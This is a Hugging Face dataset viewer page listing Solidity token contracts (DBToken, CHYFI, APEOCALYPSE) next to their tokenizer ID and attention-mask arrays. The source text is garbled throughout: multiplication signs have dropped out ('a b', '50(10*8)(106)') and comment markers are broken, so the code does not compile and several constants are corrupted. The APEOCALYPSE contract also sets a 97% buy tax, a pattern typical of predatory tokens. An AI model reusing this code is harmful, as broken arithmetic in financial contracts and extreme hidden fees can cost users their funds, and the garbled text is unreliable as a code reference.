Vageesh1/tokenized_contract_hf_selected · Datasets at Hugging Face

source_code stringlengths 52 864k	success stringclasses 1 value	input_ids sequence	attention_mask sequence
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a b; assert(a == 0 \|\| c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title owned * @dev The owned contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". / contract owned { address public owner; function owned() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /* * @title Basic token * @dev Basic version of StandardToken. / contract BasicToken { using SafeMath for uint256; uint256 _supply; mapping (address => uint256) _balances; event Transfer( address indexed from, address indexed to, uint256 value); function BasicToken() public { } function totalSupply() public view returns (uint256) { return _supply; } function balanceOf(address _owner) public view returns (uint256) { return _balances[_owner]; } /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. / function transfer(address _to, uint256 _value) public returns (bool) { require(_balances[msg.sender] >= _value); _balances[msg.sender] =_balances[msg.sender].sub(_value); _balances[_to] =_balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } } contract DBToken is BasicToken,owned { string constant public symbol = "DB"; string constant public name = "Digital Block"; uint256 constant public decimals =6; uint256 public lockedCounts = 8(10*8)(10*6); uint256 public eachUnlockCounts = 2(10*8)(10*6); //crowdSale end time, May/10/2018 uint256 public startTime = 1525881600; struct LockStruct { uint256 unlockTime; bool locked; } LockStruct[] public unlockTimeMap; function DBToken() public { _supply =50(10*8)(106); _balances[0x01] = lockedCounts; _balances[msg.sender] =_supply.sub(lockedCounts); // November/10/2018 unlockTimeMap.push(LockStruct({unlockTime:1541779200, locked: true})); // May/10/2019 unlockTimeMap.push(LockStruct({unlockTime:1557417600, locked: true})); // November/10/2019 unlockTimeMap.push(LockStruct({unlockTime:1573315200, locked: true})); // May/10/2020 unlockTimeMap.push(LockStruct({unlockTime:1589040000, locked: true})); } function transfer(address _to, uint256 _value) public returns (bool) { require (now >= startTime); return super.transfer(_to, _value); } function distribute(address _to, uint256 _value) onlyOwner public returns (bool) { return super.transfer(_to, _value); } / * @dev unlock , only can be called by owner. */ function unlock(uint256 _index) onlyOwner public { require(_index>=0 && _index<unlockTimeMap.length); require(now >= unlockTimeMap[_index].unlockTime && unlockTimeMap[_index].locked); require(_balances[0x01] >= eachUnlockCounts); _balances[0x01] =_balances[0x01].sub(eachUnlockCounts); _balances[owner] =_balances[owner].add(eachUnlockCounts); lockedCounts =lockedCounts.sub(eachUnlockCounts); unlockTimeMap[_index].locked = false; emit Transfer(0x01, owner, eachUnlockCounts); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 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/** Submitted for verification at Etherscan.io on 2021-01-23 / // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.2; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\CHYFI.sol pragma solidity ^0.6.2; contract CHYFI is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 8 10*6 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'ChainYield.finance'; string private _symbol = 'CHYFI'; uint8 private _decimals = 18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function chainyield(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _chainyieldFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _chainyieldFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _chainyieldFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _chainyieldFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _chainyieldFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(6); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5890, 1011, 2603, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 2089, 2025, 2022, 1996, 5025, 4604, 2121, 1006, 2004, 2521, 2004, 2019, 4646, 1008, 2003, 4986, 1007, 1012, 1008, 1008, 2023, 3206, 2003, 2069, 3223, 2005, 7783, 1010, 3075, 1011, 2066, 8311, 1012, 1008, 1013, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 4520, 1036, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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/** Submitted for verification at Etherscan.io on 2022-03-20 / // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract APEOCALYSPE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "APEOCALYPSE"; string private constant _symbol = "APES"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; 